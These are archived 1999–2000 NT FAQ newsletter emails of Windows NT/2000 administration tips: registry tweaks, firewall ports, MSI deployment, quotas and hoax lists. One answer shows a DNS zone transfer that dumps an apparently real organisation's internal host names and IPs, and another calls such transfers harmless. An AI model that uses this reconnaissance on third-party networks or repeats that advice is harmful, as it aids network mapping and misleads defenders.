9, Select the key created in step 6 and select 'Unload Hive' from the Registry menu
10, Close the registry editor and reboot into your primary installation.

--------------------------------------------------------------------------------

Q. How can I recreate 'My Briefcase' if I deleted it?

A. To recreate the My Briefcase icon on your desktop just type the command

syncapp

Either from a CMD.EXE session or the RUN box.

You can also recreate by right clicking on the desktop and selecting New - Briefcase.

--------------------------------------------------------------------------------

Q. How can I check if a Virus warning is real or a hoax?

A. More and more warnings are being sent to people from ill-informed people trying to help regarding viruses which don't actually exist. The originators of these messages just try to see how many people it can be distributed to and cause panic.

Some of the best known hoaxes include:

The "Returned Mail" virus, which essentially tells you not to read any e-mail that was returned because the mailing system was "Unable to deliver" it. (If you can't read it, you may never find out why it wasn't delivered!) In fact, viruses can't be communicated very well with e-mail (except in certain file attachments).
The "Penpal Greetings" virus
The "Good Times" virus, one of the oldest
Budweiser Screen Saver (obviously started by someone who likes Beck's)
A number of sources exist that list these hoaxes so if you receive a message always check before forwarding to others (as you just make it worse). If you find it is a hoax message reply to the sender informing them of the fact to avoid future distribution.

http://www.nai.com/services/support/hoax/hoax.asp
http://vil.mcafee.com/villib/hoax.asp
http://www.europe.datafellows.com/news/hoax.htm
http://www.av.ibm.com/BreakingNews/HypeAlert/
http://www.irisav.com/lab/hoax.htm
http://www.icsa.net/services/consortia/anti-virus/alerthoax.shtml
http://www.kumite.com/myths/myths/#a2z
http://www.uk.sophos.com/virusinfo/scares/
http://www.stiller.com/hoaxes.htm
http://www.symantec.com/avcenter/hoax.html
http://afcert.kelly.af.mil/hoaxes.html
http://ciac.llnl.gov/ciac/CIACHoaxes.html
http://www.cybec.com.au/html/vvcc/anti-virus/hoaxes/index.html

--------------------------------------------------------------------------------

Q. Audio and Video are unavailable in NetMeeting via Proxy server, why?

A. This behaviour can occur if you connect to the Internet through a proxy server using Microsoft Proxy Server version 2.0, and you have Microsoft Winsock version 2.0 installed on your computer.

To resolve this perform the following:

Start the registry editor (regedit.exe)
Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Audio\NacObject
From the Edit menu select New - DWORD value
Enter a name of "DisableWinsock2" (don't type the quotes). Press Enter
Double click the new value and set to 1. Click OK
Close the registry editor
Also check if the ports for sending audio and video are enabled (usually ports 1503, 1720 and 1731).

Also port 389 is used for ILS (Internet Locator Server) by NetMeeting 2.0 and port 522 for ULS (User Location Server) used by NetMeeting 1.0.

To connect to a directory server, the directory server must be functioning properly. NetMeeting directory services require either port 389 or port 522. To verify that the directory server is functioning properly, use Telnet to connect over these ports.

In summary to enable NetMeeting access through a firewall:

Pass through primary TCP connections on ports 522, 389, 1503, 1720 and 1731.
Pass through secondary UDP connections on dynamically assigned ports (1024-65535).

--------------------------------------------------------------------------------

Q. How can I use Chat behind a Proxy server?

A. If you have packet filtering enabled Internet Relay Chat (IRC) may pause for long periods of time or fail to connect. This is caused by the Identd (Identification Protocol) being filtered out. To resolve perform the following:

Open the Winsock Proxy Service Properties, and select the Service tab.
Under the Shared Services section, select Security. Choose Add and select the Identd filter from the list of predefined filters.
This will allow Identd traffic to pass through instead of being discarded by the proxy packet filter driver.

Microsoft Chat uses the standard chat port (#6667).

--------------------------------------------------------------------------------

Q. Can I rename a site? - Windows 2000

A. Basically yes. When you install your first domain controller it creates a default site of Default-First-Site-Name which is not very helpful and can be changed as follows:

1, Start the Active Directory Sites and Services MMC snap-in (Start - Programs - Administrative Tools - Active Directory Sites and Services)
2, Expand the Sites branch
3, Right click on the site you wish to rename (e.g. Default-First-Site-Name) and select rename (or just select the site and press F2)
4, Enter the new name and press Enter

That's it!

--------------------------------------------------------------------------------

Till next week,

John


From: John Savill [john@savilltech.com] Sent: 19 October 1999 19:27 To: NTFAQ Mailing List Subject: NT FAQ, 20 October 1999 All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html News: A chat server has now been configured at http://209.246.146.226/ntfaq/ which you can try. The FAQ is also moving to a new server on Friday as traffic has increased a great deal and I've had to upgrade my server plan so there is no degradation in service. There may be a period of no service for a short time Friday morning. The book version of the FAQ is doing well and is currently in its second print so thanks! Standard items: The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq Code to include the FAQ Search engine on your site: --------
Search the FAQ: tips for searching

Use Free-Text Query.

-------- Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site. As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi New additions last week: Q. How do I enable per volume/user disk space quotas on NTFS 5.0? Q. How do I view current quota entries? Q. How do I add a new user quota entry? Q. My WINS clients have stopped registering/querying the WINS server. Q. My Windows 9x clients cannot see shares over 12 characters. Q. How can I map to an FTP server as a drive? ------------------------------------------------------------------------------ Q. How do I enable per volume/user disk space quotas on NTFS 5.0? A. Windows 2000 introduces limited quota support which enables you to configured quota limits on a per user/per volume basis. You can't set a quota over multiple volumes. Quotas are on file size and even if files are compressed you still only get the MB of amount of the files. If you had a 5MB quota and compressed your 5MB of files sing NTFS compression you would have used all your quota. Quota support is only available on NTFS 5.0 volumes and is enabled as follows: 1, Start Explorer 2, Right click on the volume and select properties 3, Check the 'Enable quota management' box 4, You can set default options for new users and also set the actions to take if quota exceeded, either deny disk space or allow them to carry on. There are also various logging options, either when a user exceeds their warning level or when they exceed their actual quota. 5, Click Apply 6, A warning will be given. Click OK. The quota process will now check the volume and build up a list of current disk usage -------------------------------------------------------------------------------- Q. How do I view current quota entries? A. To view current quota usage on a volume perform the following: 1, Start Explorer 2, Right click on the volume and select properties 3, Click the 'Quota Entries' button 4, A list of quota entries and the amount used will be displayed. -------------------------------------------------------------------------------- Q. How do I add a new user quota entry? A. To view current quota usage on a volume perform the following: 1, Start Explorer 2, Right click on the volume and select properties 3, Click the 'Quota Entries' button 4, A list of quota entries and the amount used will be displayed. From the Quota menu select 'New quota entry' or click the new document button 5, Select the user(s) for the quota to be added. Click Add. When all or selected click OK 6, Set the warning level and final level for the user(s). Click OK If you select multiple users they will NOT share the quota, its just a quick way of adding lots of quota entries all with the same properties. -------------------------------------------------------------------------------- Q. My WINS clients have stopped registering/querying the WINS server. A. Tell-tail signs of clients that have stopped using WINS are as follows: -Unable to ping a remote computer (across a router) by its computer name (NetBIOS name). -Cannot log on to a domain when the only domain controllers are on other side of routers. -Unable to perform Net View or Net Use computers that are on the other side of routers. -Cannot retrieve the browse list of a remote domain that the client sees in its local browse list. A known problem exists when a secondary WINS is not defined as the algorithm is as follows -When booting up, register your name with your primary WINS server. Or when performing a normal name query, first send the request to your primary WINS server. -If the primary WINS server does not respond after 3 attempts, send your registration or query to the secondary WINS server listed. -If the secondary WINS server does not respond after 3 attempts, send the query again to the primary WINS server, and continue alternating between primary and secondary WINS server until one of them responds. The problem results if there is no secondary WINS server listed. The client may revert to B-Node (broadcast only) behavior and stops querying the WINS server completely. To fix this make sure you have a secondary WINS server defined. If you only have one WINS server, list it in both the primary and secondary boxes. Clients can be updated by starting the Network control panel applet, select the Protocols tab, select TCP/IP, select the WINS tab and fill in the boxes. If the clients use DHCP ensure the scope if configured with both primary and secondary. -------------------------------------------------------------------------------- Q. My Windows 9x clients cannot see shares over 12 characters. A. Windows NT allows shares to be created that are more than 12 characters and Windows NT based machines can see and use these quite happily. Windows 9x clients however can only connect to shares of 12 characters or less. There is no fix for this and see if you require Windows 9x clients to connect to a share make sure it is 12 characters or less. -------------------------------------------------------------------------------- Q. How can I map to an FTP server as a drive? A. Its possible to configure a machine to map to a FTP server as a drive (for instance the Microsoft site) providing the machine runs both NetBEUI and TCP/IP. Perform the following: 1, Perform a NSLOOKUP for the FTP site, e.g. nslookup ftp.microsoft.com make a note of the IP address 2, Edit the LMHOSTS file (in %systemroot%\systerm32\drivers\etc) Add line MicrosoftFTP #PRE e.g. 207.46.133.140 MicrosoftFTP #PRE 3, Save the file 4, Open a CMD.EXE session. Enter command: nbtstat -R This purges and reloads the name table cache 5, Type command: net view \\MicrosoftFTP You should see information on the site 6, Now map a drive (to share data) net use * \\MicrosoftFTP\data /user:anonymous All done. It will pass a drive letter for the connection -------------------------------------------------------------------------------- Till next week, take care. John


From: John Savill [john@savilltech.com] Sent: 19 September 1999 20:04 To: NTFAQ Mailing List Subject: NT FAQ, 20 September 1999 All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html News: Release Candidate 2 (build 2128) of Windows 2000 released. Looks really good and so far no problems. Standard items: The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq Code to include the FAQ Search engine on your site: --------
Search the FAQ: tips for searching

Use Free-Text Query.

-------- Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site. As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi New additions last week: Q. What is the Microsoft Installer Package format? Q. How do I create a MSI file from a legacy application? Q. How can I publish an MSI file? Q. How do I turn off Internet Explorer AutoComplete? Q. How do I create a default association for files with an unknown extension? Q. How do I enable circular logging for the Active Directory? Q. I'm getting DNS zone transfer messages in the event log, is someone hacking me? Q. How do I perform a DNS zone transfer? Q. Some entries are missing from the Add/Remove programs control panel applet. Q. How do I set DLL files to use their own icon rather than the standard? Q. How can I make Explorer show the extension of known file types? Q. Performance Monitor is not listing all possible objects and counters. -------------------------------------------------------------------------- Q. What is the Microsoft Installer Package format? A. Windows 2000 introduces the concept of publishing applications using the Active Directory however to support this new ability the application has to be supplied with a new type of installation file, a .MSI file which is of the Microsoft Windows Installer Server package format.. These MSI files include information about registry entries, core files etc and a summary of the application details such as name, publisher. This knowledge of the registry entry and file usage means if when the application starts and it detects that a registry entry is missing or a core file gone it can automatically re-download information from the distribution server and fix itself. Once you have your .msi package you can publish via the Group Policy editor to domains, Organizational Units and Sites. Its also easy to upgrade and retire packages all via the .msi. Current applications that support Microsoft installer packages are Microsoft Office 2000 and the Windows 2000 Resource Kit (among others). In future service packs will be shipped with MSI files allowing you to deploy them via group policies with very little effort. This is best paired with the Remote Installation Service allowing RIS to install the operating system and group policies to install the applications and settings. Of course, you may still want to use SMS for some features; Windows 2000 has been designed to work with SMS 2.0 and not against. -------------------------------------------------------------------------------- Q. How do I create a MSI file from a legacy application? A. The problem at the moment is that not many applications ship with MSI files and so deploying legacy applications via group policies is not possible. Windows 2000 ships with WinINSTALL LE which can be used in the same way as SYSDIFF. You take a snapshot of you system, install the application, take an after snapshot and a discover program runs extracting the different files and registry entries that have been made. Its important to run WinINSTALL LE on a clean system, by this I mean don’t run it on an installation that has applications installed on as when you install an application it may check if certain runtime’s etc are installed and if so not bother to recopy over, this would mean your distribution package would be missing vital files if applications were already installed. To install WinINSTALL LE perform the following, however its recommended NOT to install the application on the PC that's going to act as the package creation computer incase the program itself effects the installation of the applications: 1, Insert the Windows 2000 Server CD 2, Move to the VALUADD\3RDPARTY\MGMT\WINSTLE folder 3, Double click the SWIADMLE.MSI file 4, The installer will begin and a progress bar displayed showing the progress of the installation. 5, A folder will be created under the Start menus Program folder 'Seagate Software'. The first stage is to take a snapshot of the blank Windows 2000 Professional installation so any changes made by the application installation will be detected. 1, Logon to the professional reference installation as an Administrator 2, Run the Discover wizard from the distribution server (do not map a drive, use the Run dialog or Network Neighborhood), for example "\\titanic.savilltech.com\d$\Program Files\Seagate Software\Winstall\DiscoZ.exe" 3, The wizard will start, click Next 4, Enter a name for the package (the name of the software you are creating a package for) and a path for the .msi file (make sure its on a drive other than one that forms part of the package, and select a new empty directory) and click Next 5, Select a drive for the temporary files and click Next 6, Select the drives that the discover program should scan and click Next 7, Select the files to exclude from the scan (leave as the default unless you know what you're doing). Click Next The WinINSTALL Discover program will then start Once complete it will ask you to click OK which will prompt for a setup program to run, this is the legacy application which you want to create an .MSI file for. Select the setup program you want to run and click Open Continue the application setup as per normal Once you have installed the application and made and configuration changes you need to create the "after" snapshot: 1, Logon to the professional reference installation as an Administrator again 2, Run the Discover wizard from the distribution server (again, do not map a drive, use the Run dialog or Network Neighborhood), for example "\\titanic.savilltech.com\d$\Program Files\Seagate Software\Winstall\DiscoZ.exe" 3, The wizard will detect that a before snapshot exists and will ask if you want to create the after snapshot. 4, Leave the 'Perform after' and click Next 5, The check will begin on both the registry and file system 6, If there are any potential problems they will be displayed. Click OK 7, A notice saying the after snapshot is complete and the package created 8, Before running any other package creations remove the application you installed or better yet, reinstall the machine (RIS is useful for this). Its possible to fine-tune your created package using the 'Seagate Software Console' MMC snap-in. Select Open from the File menu and you can then change and view the files and registry components that will change be changed if installed. Select Save after any changes. The Seagate console that allows you to edit the MSI files. Once you have finished you must not only place the .MSI file to the distribution server but all files and subdirectories in the directory chosen for the MSI file. -------------------------------------------------------------------------------- Q. How can I publish an MSI file? A. With Group Policies in Windows 2000 you can do far more than just restrict and set certain registry entries. You can set startup/shutdown/login/logoff scripts, redirect folders like My Documents and publish applications (and more). Its the last item that interests us and there are four main options: Assign to a computer Publish to a computer Assign to a user Publish to a user When you assign an application to a user its icons are setup and the software installed on first usage, if you assign to a computer it will be installed the next time the computer starts up. If you publish an application the user has the option of installing the application via the Add/Remove Programs control panel applet. Any deployed application cannot be uninstalled by the user. Published applications can be uninstalled as they are optional. You can publish/assign applications to any group policy object which means you can assign applications on a per domain, per site or per Organizational Unit basis. To assign an application to a GPO perform the following: 1, Start the Active Directory Users and Computers MMC snap-in (Start - Programs - Administrative Tools - Active Directory Users and Computers) 2, Right click on the domain, OU or site and select Properties 3, Select the 'Group Policy' tab 4, Select the GPO you wish to assign/publish the application with and click edit 5, Select either 'Computer Configuration' or 'User Configuration' depending on if the application is for a user or computer assignment 6, Select the Software Settings\Software installation branch 7, Right click on 'Software installation' and select New - Package from the context menu 8, Select the MSI file you wish to deploy, make sure you access via a network path or clients will be unable to install it, e.g. \\titanic\data\winzip\winzip.msi. Click Open 9, You will have the option to either publish/assign or advanced publish/assign. Click OK. If you select advance you have options to select an existing package that this one will upgrade and various other settings including Security The program will now be shown under the Software installation branch and will be assigned/published to any user/computer who has the GPO applied to them. -------------------------------------------------------------------------------- Q. How do I turn off Internet Explorer AutoComplete? A. Internet Explorer has the neat ability to auto complete a URL as you type it. This can however be annoying and you may want to turn this off. It can be accomplished by performing the following: 1, Start Internet Explorer 2, From the Tools menu select 'Internet Options' 3, Select the Content tab 4, Click 'AutoComplete' under the 'Personal Information' section 5, Unselect 'Web addresses' and click OK 6, Click OK to the main dialog You can also accomplish this by setting HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\AutoComplete\AutoSuggest to "no" (don't type the quotes) in the registry. -------------------------------------------------------------------------------- Q. How do I create a default association for files with an unknown extension? A. Files with an unknown extension will bring up an "open with" dialog when you double click on them however it is possible to associate an application with files of an unknown type. You can force this using the registry: 1, Start the registry editor (regedit.exe) 2, Move to HKEY_CLASSES_ROOT\Unknown\shell 3, From the Edit menu select New - Key 4, Enter a name of 'open' and press Enter (don't type the quotes) 5, Select the new 'open' key 6, From the Edit menu select New - Key 7, Enter a name of 'command' and press Enter (don't type the quotes) 8, Double click the (Default) value 9, Change to the application used to open, e.g. "NOTEPAD.EXE %1" for the notepad.exe application (you need %1 to pass the document name to notepad and depending on the application you may need %1 %*) 10, Click OK If you now double click on a file with no extension it will open with the application selected. You can optionally delete the HKEY_CLASSES_ROOT\Unknown\shell\openas key and its content but it is not necessary and it will just remove the open with context menu option. It is possible to just add a notepad option to the context menu of Unknown by using the existing entry in HKEY_CLASSES_ROOT/Unknown/shell, adding a new key value of NotePad and a new Key value of 'open' underneath Notepad then a new Key called 'command' under open. Set the (Default) value of command to Notepad.exe %1. Registry file to perform this: REGEDIT4 [HKEY_CLASSES_ROOT\Unknown\shell\notepad] [HKEY_CLASSES_ROOT\Unknown\shell\notepad\open] [HKEY_CLASSES_ROOT\Unknown\shell\notepad\open\command] @="notepad %1" -------------------------------------------------------------------------------- Q. How do I enable circular logging for the Active Directory? A. Active Directory can record either sequential or circular logs, although sequential is the default and is preferred. Circular logs overwrite transactions at specific intervals, whereas sequential logs are never overwritten (but data in sequential log files whose transactions have been committed to the database are deleted during garbage collection intervals.) Sequential log files are not overwritten with new data. They grow until they reach a specified size. Once all the transactions in a log file are committed to the database, this log file is no longer needed. Active Directory’s garbage collection process deletes unnecessary log files every 12 hours (the default garbage collection interval). If your server never stays up longer than 12 hours between reboots, the old log files are never cleaned up and they take up more and more space on the disk (but you have bigger problems :-) ). Some administrators prefer circular logging because it helps minimize the amount of logged data stored to the physical disk. Imagine circular logs as a donut with new data overwriting the oldest as needed. You must edit the registry to enable circular logging. 1, Start regedt32.exe 2, Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters 3, If the value CircularLogging does not exist select New - String value from the Edit menu and enter a name of CircularLogging 4, Double click CircularLoggin and set to 1 to enable (0 for disable and sequential log files) 5, Close the registry editor 6, Restart the directory service via a reboot for the change to take effect -------------------------------------------------------------------------------- Q. I'm getting DNS zone transfer messages in the event log, is someone hacking me? A. No, don't panic, it just means someone is listing the content of a zone and this is fine since you are making the information publicly available anyway. To do this list see 'Q. How do I perform a DNS zone transfer?' If you want to stop people performing zone transfers start the Microsoft DNS Manager, select the Zone, go into the Properties for the zone and select the Notify tab. Check the "Only Allow Access for Secondaries included on the notify list". -------------------------------------------------------------------------------- Q. How do I perform a DNS zone transfer? A. To list the content of a DNS zone perform the following commands (remember this does not actually remove any information from the host DNS server, it only lists it) C:\>nslookup Default Server: titanic.savilltech.com.com Address: 200.200.200.1 > set q=ns Sets the query type to name servers > db.com The name of the DNS zone you wish to list Server: adm1.srv.uk.deuba.com Address: 10.142.10.2 db.com nameserver = ns1.eur.deuba.com db.com nameserver = ns2.eur.deuba.com db.com nameserver = ns1.uk.deuba.com db.com nameserver = ns2.uk.deuba.com ns1.eur.deuba.com internet address = 10.70.136.140 ns2.eur.deuba.com internet address = 10.70.137.140 ns1.uk.deuba.com internet address = 10.141.39.181 ns2.uk.deuba.com internet address = 10.140.8.12 > server ns1.eur.deuba.com Set the server to be one of those listed Default Server: ns1.eur.deuba.com Address: 10.70.136.140 > ls -d db.com List out the zone [ns1.eur.deuba.com] db.com. SOA ns1.eur.deuba.com hostmaster.ose.eur.deub a.com. (1999091500 3600 1800 604800 1800) db.com. NS ns1.uk.deuba.com db.com. NS ns2.uk.deuba.com db.com. NS ns1.eur.deuba.com db.com. NS ns2.eur.deuba.com db.com. A 10.141.44.112 db.com. MX 10 bmr1-e1.srv.uk.deuba.com testxyz CNAME ns2.eur.deuba.com atwork CNAME clust1v2.srv.uk.deuba.com search.atwork CNAME homepage.mev.eur.deuba.com phone.atwork CNAME nerys.x500.esb.eur.deuba.com www2 A 38.163.212.70 www3 CNAME nyc00pah11.na.deuba.com infohost.herold A 193.150.167.33 pmg NS ns1.eur.deuba.com pmg NS ns2.eur.deuba.com mgam CNAME clust1v2.srv.uk.deuba.com it.mgam CNAME clust1v2.srv.uk.deuba.com iis.mgam CNAME clust1v2.srv.uk.deuba.com etsg.mgam CNAME clust1v2.srv.uk.deuba.com Thats it, you have now listed out all the records in the zone. -------------------------------------------------------------------------------- Q. Some entries are missing from the Add/Remove programs control panel applet. A. The Add/Remove control panel applet remove tab builds its list by searching HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall for any entries with a DisplayName value. There is a bug which causes entries with a text string of >64 characters to be ignored so you may want to check the DisplayName values and shorten where appropriate. -------------------------------------------------------------------------------- Q. How do I set DLL files to use their own icon rather than the standard? A. Windows displays DLL files in Explorer with a generic DLL icon. This generic icon conveys no information about the DLL file, other than the fact that the file is a DLL. Many DLL files have one or more icons and its possible to have one displayed in Explorer. 1, Start the registry editor (regedit) 2, Move to HKEY_CLASSES_ROOT\dllfile\DefaultIcon 3, Double click (Default) and change from %SystemRoot%\System32\shell32.dll,-154 TO %1 4, Click OK 5, Close the registry editor -------------------------------------------------------------------------------- Q. How can I make Explorer show the extension of known file types? A. Normally Windows Explorer will not show the extension of known file types however you can force Explorer to show them: 1, Start Explorer 2, From the View menu select Options 3, Select the 'View' tab 4, Unselect the 'Hide file extensions for known file types' 5, Click OK -------------------------------------------------------------------------------- Q. Performance Monitor is not listing all possible objects and counters. A. If when trying to add a counter and the list of objects and counters is incomplete or blank the problem could be the data files that hold the list has become corrupted. Under registry key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Perflib is a key identifying the language of the system, e.g. 009 for U.S. English. Performance monitor will only list that counters for the selected language ID (this can be changed via control panel) To resolve the problem restore the files PERFC.DAT and PERFH.DAT (e.g. perfc009.dat and perfh009.dat for U.S. English) from the installation CD to the %systemroot%\system32 directory -------------------------------------------------------------------------------- Till next week, take care. John


From: John Savill [john@savilltech.com]
Sent: Monday, February 21, 2000 7:17 PM
To: NTFAQ Mailing List
Subject: ** NT FAQ, 21 February 2000 **

All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html

________________________________________________________________________

                SPECIAL OFFER TO ALL WINDOWS 2000 USERS

                           D I S K E E P E R
                           -----------------

Windows 2000 includes a restricted version of DISKEEPER disk-defragmenter as standard.

Upgrade now to the full-featured, automatic, networked version at a very special promotional price.

FOR A LIMITED TIME ONLY!  CONTACT YOUR LOCAL SUPPLIER NOW!

http://www.diskeeper-europe.com/special.htm

_________________________________________________________________________

News:

Windows 2000 was released last week in a blaze of publicity and all ready a number of fixes and compatibility enhancements have been released. Goto Windows Update, http://windowsupdate.microsoft.com to get them.

The NT/2000 FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq

As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi

New additions last week:

Q. How can I add a Encrypt/Decrypt option to the context menu?
Q. How can I add a Copy to Folder option to the context menu?
Q. How can I add a Move to Folder option to the context menu?
Q. How can I change the icon for drive letters?
Q. How can I stop the Infotips being displayed for icons and drives?
Q. How do I configure Index Server catalogs?
Q. I can't install Office 2000 on Windows 2000.
Q. How can I enable the Windows 2000 System File Checker to cache ALL DLL's?
Q. How can I move the DLL cache?
Q. I'm missing the Windows 2000 Advanced menu option on startup.

--------------------------------------------------------------

Q. How can I add a Encrypt/Decrypt option to the context menu?

A. Its possible to add a context menu option to encrypt/decrypt files by adding the following registry key:

1, Start the registry editor (Regedit.exe)
2, Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced
3, From the Edit menu select New - DWORD value
4, Enter a name of EncryptionContextMenu and press Enter
5, Double click the new value and set to 1. Click OK
6, Close the registry editor
7, Reboot the computer for the change to take effect (or you can start Task Manager and stop explorer.exe and start a new occurance)

If you now right click on a file/folder Encrypt will be listed for non-encrypted files, Decrypt for encrypted files.

--------------------------------------------------------------------------------

Q. How can I add a Copy to Folder option to the context menu?

A. Its possible to add a context menu option to copy a file to a folder by adding the following registry key:

1, Start the registry editor (Regedit.exe)
2, Move to HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex\ContextMenuHandlers
3, From the Edit menu select New - Key
4, Enter a name of 'Copy To' (don't type the quotes) and press Enter
5, Move to the 'Copy To' :-) key and double click on the (Default) value
6, Set to {C2FBB630-2971-11D1-A18C-00C04FD75D13}. Click OK
7, Close the registry editor
8, Restart Explorer for the change to take effect (you don't need to reboot)

If you now right click on a file/folder an option to copy to folder will be listed.

--------------------------------------------------------------------------------

Q. How can I add a Move to Folder option to the context menu?

A. Its possible to add a context menu option to move a file to a folder by adding the following registry key:

1, Start the registry editor (Regedit.exe)
2, Move to HKEY_CLASSES_ROOT\AllFilesystemObjects\shellex\ContextMenuHandlers
3, From the Edit menu select New - Key
4, Enter a name of 'Move To' (don't type the quotes) and press Enter
5, Move to the 'Move To' :-) key and double click on the (Default) value
6, Set to {C2FBB631-2971-11D1-A18C-00C04FD75D13}. Click OK
7, Close the registry editor
8, Restart Explorer for the change to take effect (you don't need to reboot)

If you now right click on a file/folder an option to move to folder will be listed.

--------------------------------------------------------------------------------

Q. How can I change the icon for drive letters?

A. Windows 2000 allows you to assign a different icon to the various drive letters as follows:

1, Start the registry editor (regedit.exe)
2, Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer
3, From the Edit menu select New - Key. Enter a name of DriveIcons
4, Select the new key and select New - Key, enter the name of the drive, e.g. C (no :)
5, Select the created key and select New - Key, enter a name of DefaultIcon
6, Move to DefaultIcon and double click the (Default) value.
7, Set to the dll containing the icon and the icon number, e.g. icons.dll,-24 is icon is 24 in icons.dll. Click OK
8, Close the registry editor

Clicking F5 (refresh) in Explorer will now show the new icons.

To get you started here is a DLL containing a C and D icon I created (ID 24 and 25 respectively) and a reg file which configures them on you machine. To use the reg file the icons.dll file would be at root of C: (not ideal :-)) but you can easily change the reg file.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\C]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\C\DefaultIcon]
@="c:\\icons.dll,-24"

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\D]

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\DriveIcons\D\DefaultIcon]
@="c:\\icons.dll,-25"

--------------------------------------------------------------------------------

Q. How can I stop the Infotips being displayed for icons and drives?

A. Windows 2000 has infotips for some programs and folders however these may prove annoying and can be disabled in two ways.

The first method is via the GUI:

1, Start Explorer
2, From the Tools menu select Folder Options
3, Select the View tab
4, Unselect 'Show pop-up description for folder and desktop items'
5, Click Apply then OK

It can also be done by directly editing the registry:

1, Start the registry editor
2, Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
3, Double click ShowInfoTip and set to 0. Click OK. (create of type REG_DWORD if it does not exist)
4, Close the registry editor

--------------------------------------------------------------------------------

Q. How do I configure Index Server catalogs?

A. Index server is VERY picky about the order in which events are done with new catalogs when linked to a web site. I had this very problem when moving the NT FAQ and searches from an IDQ file were failing. The correct order of events under Index Server 2.0 are as follows:

Make sure that the Web site has been created in the Internet Information Server snap-in.
In the Index Server snap-in, create a new catalog. After the catalog has been created, view the properties for it.
On the Web tab, select the Web site that you want to index, and click OK.
Go back to the Internet Information Server snap-in, and select Properties on the Web site you are indexing.
On the Home Directory tab, select the Index This Directory check box, and click OK.
Stop the Index server, and then restart it. The new catalog should come online and begin indexing the new Web site.
On the Windows 2000 version perform the following:

Make sure that the Web site has been created in the Internet Information Server snap-in.
In the Index Server snap-in, create a new catalog. After the catalog has been created, view the properties for it. On the Tracking tab, select the Web site that you want to index from the WWW Server pull-down menu, and then click OK.
Go back to the Internet Information Server snap-in, and select Properties on the Web site you are indexing.
On the Home Directory tab, select the Index This Resource check box, and click OK.
Stop and restart the catalog to begin indexing of the new site (if you have problems try restarting the entire index service but this should not be necessary in Windows 2000).

--------------------------------------------------------------------------------

Q. I can't install Office 2000 on Windows 2000.

A. Office 2000 requires 131 MB of free disk space on the C: drive for installation to complete successfully. This is by design of the Windows Installer.

To be on the safe side make sure you have more than 131MB as other programs/processes may use up disk space such as dynamic page file growth giving you less than the needed 131MB.

--------------------------------------------------------------------------------

Q. How can I enable the Windows 2000 System File Checker to cache ALL DLL's?

A. The System File Checker (SFC) maintains copies of the DLL's in a cache to protect them for being corrupted by application installation/user removal.

Windows 2000 Server family cache ALL protected files, SYS, DLL, EXE, TTF, FON and OCX on the 2000 CD (until you have less than 300MB of free disk space). Windows 2000 Professional will only cache 50MB's of DLL's however this can be changed by performing the following:

1, Start the registry editor (regedit.exe)
2, Move to HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
3, Double click SFCQuota
4, Set to 0xFFFFFFFF and click OK (the maximum, 400MB)
5, Close the registry editor

Start a command session (CMD.EXE) and run
C:\> sfc /scannow
All system files should now be cached (until you reach 150 MB of free disk space and then it will free up DLL cache). The DLLCACHE folder will reach about 250MB (the size on a server installation).

The sfc.exe program also has a /Cachesize=x option which allows you to set cache size from the command line.

The DLL cache is located at %systemroot%\system32\dllcache.

--------------------------------------------------------------------------------

Q. How can I move the DLL cache?

A. By default the DLL cache is stored in %systemroot%\system32\dllcache

1, Start the registry editor (regedt32.exe not regedit.exe)
2, Move to HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Winlogon
3, From the Edit menu select 'Add Value'
4, Set the name to SFCDllCacheDir and the type to REG_EXPAND_SZ and click OK
5, Enter the string for its new location, e.g. c:\files\dllcache and click OK (it MUST be a local path)
6, Close the registry editor
7, Reboot your machine

--------------------------------------------------------------------------------

Q. I'm missing the Windows 2000 Advanced menu option on startup.

A. If you have Windows 2000 dual booted with NT 4.0 and reinstall/repair NT 4.0 it will remove some of the 2000 boot options as its unaware of the extra functionality of 2000 and replaces the startup files.

To restore the Windows 2000 F8 advanced startup menu and logo screen etc perform the following:

Boot to another operating system (NT4, recovery console)
Copy the ntldr and ntdetect.com files from the I386 directory of Windows 2000 to the C:\ drive
If you have a protection problem enter the following commands:
C:\ attrib c:\ntdetect.com -r -s -h
C:\ attrib c:\ntldr -r -s -h
Upon next reboot the Windows 2000 advanced menu will be available

--------------------------------------------------------------------------------

Till next week, take care and have fun!

John

=======================================================================
